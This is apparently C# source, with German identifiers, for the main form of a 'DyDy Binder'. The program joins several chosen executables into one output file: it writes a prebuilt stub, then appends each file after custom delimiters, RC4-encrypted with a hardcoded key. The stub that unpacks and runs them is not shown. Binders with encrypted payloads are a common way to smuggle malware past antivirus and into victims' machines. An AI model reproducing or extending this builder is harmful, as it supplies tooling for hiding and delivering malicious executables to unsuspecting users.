Code:
{public partial class frmMain : Form{
private Byte[] EncryptionKey = { 4, 8, 15, 16, 23, 42 };
private const string SplittString = "<@_@>";
private const bool VerschlüssleDaten = true;
[DllImport("uxtheme.dll", CharSet = CharSet.Unicode, ExactSpelling = true)]
private static extern int SetWindowTheme(IntPtr hWnd, string appName, string partList);
public frmMain(){
InitializeComponent();
SetWindowTheme(this.BinderListe.Handle, "explorer", null);}
private void buttonClose_Click(object sender, EventArgs e){
Application.Exit();}
private void buttonAbout_Click(object sender, EventArgs e){
MessageBox.Show("Binder - Coded by DyDy", "DyDy Binder", MessageBoxButtons.OK, MessageBoxIcon.Information);}
private void MenuHinzufügen_Click(object sender, EventArgs e){
OpenFileDialog dlg = new OpenFileDialog(); {
dlg.CheckFileExists = true;
dlg.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
dlg.Filter = "Ausführbare Dateien (*.exe) | *.exe";}
if (!(dlg.ShowDialog() == DialogResult.Cancel)){
ListViewItem item = new ListViewItem(); {
item.ImageIndex = BinderListe.Items.Count;
item.Text = dlg.SafeFileName;
item.SubItems.Add(dlg.FileName);}
BinderListe.Items.Add(item);
LeseExternesIcon(BinderListe);}}
private void MenuEntfernen_Click(object sender, EventArgs e){
foreach (ListViewItem item in BinderListe.SelectedItems) {
BinderListe.Items.Remove(item);}}
private void LeseExternesIcon(ListView lv) {
imageList.Images.Clear();
for (int i = 0; i < lv.Items.Count; i++) {
imageList.Images.Add(Icon.ExtractAssociatedIcon(lv.Items[i].SubItems[1].Text));
BinderListe.Items[i].ImageIndex = i;}}
private void buttonCompile_Click(object sender, EventArgs e){
if (!(BinderListe.Items.Count <= 0)){
SaveFileDialog dlg = new SaveFileDialog();{
dlg.CheckPathExists = true;
dlg.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
dlg.Filter = "Ausführbare Dateien (*.exe) | *.exe";}
if (!(dlg.ShowDialog() == DialogResult.Cancel)){
SchreibeStub(dlg.FileName);
SchreibeTrennzeichen("<StartEof>", dlg.FileName);
for (int i = 0; i < BinderListe.Items.Count; i++){
SchreibeDateien(dlg.FileName, LeseDatei(BinderListe.Items[i].SubItems[1].Text));
SchreibeTrennzeichen(SplittString, dlg.FileName);}MessageBox.Show("Datei wurde Erfolgreich Erstellt.", "DyDy Binder", MessageBoxButtons.OK, MessageBoxIcon.Information);}}}
private void SchreibeStub(string Pfad){
FileStream fs = new FileStream(Pfad, FileMode.Create);
fs.Write(Properties.Resources.Stub, 0, Properties.Resources.Stub.Length);
fs.Close();}
private void SchreibeTrennzeichen(string ZeichenFolge, string Pfad){
FileStream fs = File.Open(Pfad, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite);
BinaryWriter bw = new BinaryWriter(fs);
fs.Position = fs.Length + 1;
bw.Write(ZeichenFolge);
bw.Flush();
bw.Close();}
private void SchreibeDateien(string Pfad, byte[] Daten){ if (VerschlüssleDaten == true){RC4(ref Daten, EncryptionKey);}
FileStream fs = File.Open(Pfad, FileMode.Append, FileAccess.Write, FileShare.None);{fs.Write(Daten, 0, Daten.Length);fs.Flush();fs.Close();}}
private byte[] LeseDatei(string DateiPfad){
StreamReader sr = new StreamReader(DateiPfad);
BinaryReader br = new BinaryReader(sr.BaseStream);
byte[] Buffer = br.ReadBytes((int)sr.BaseStream.Length);
br.Close();
sr.Close();
return Buffer;}
public void RC4(ref Byte[] bytes, Byte[] key){
Byte[] s = new Byte[256];
Byte[] k = new Byte[256];
Byte temp;
int i, j;
for (i = 0; i < 256; i++){
s[i] = (Byte)i;
k[i] = key[i % key.GetLength(0)];}
j = 0;
for (i = 0; i < 256; i++){
j = (j + s[i] + k[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;}
i = j = 0;
for (int x = 0; x < bytes.GetLength(0); x++){
i = (i + 1) % 256;
j = (j + s[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;
int t = (s[i] + s[j]) % 256;
bytes[x] ^= s[t];}}
private void frmMain_Load(object sender, EventArgs e)
{
}
private void BinderListe_SelectedIndexChanged(object sender, EventArgs e)
{
}
}
}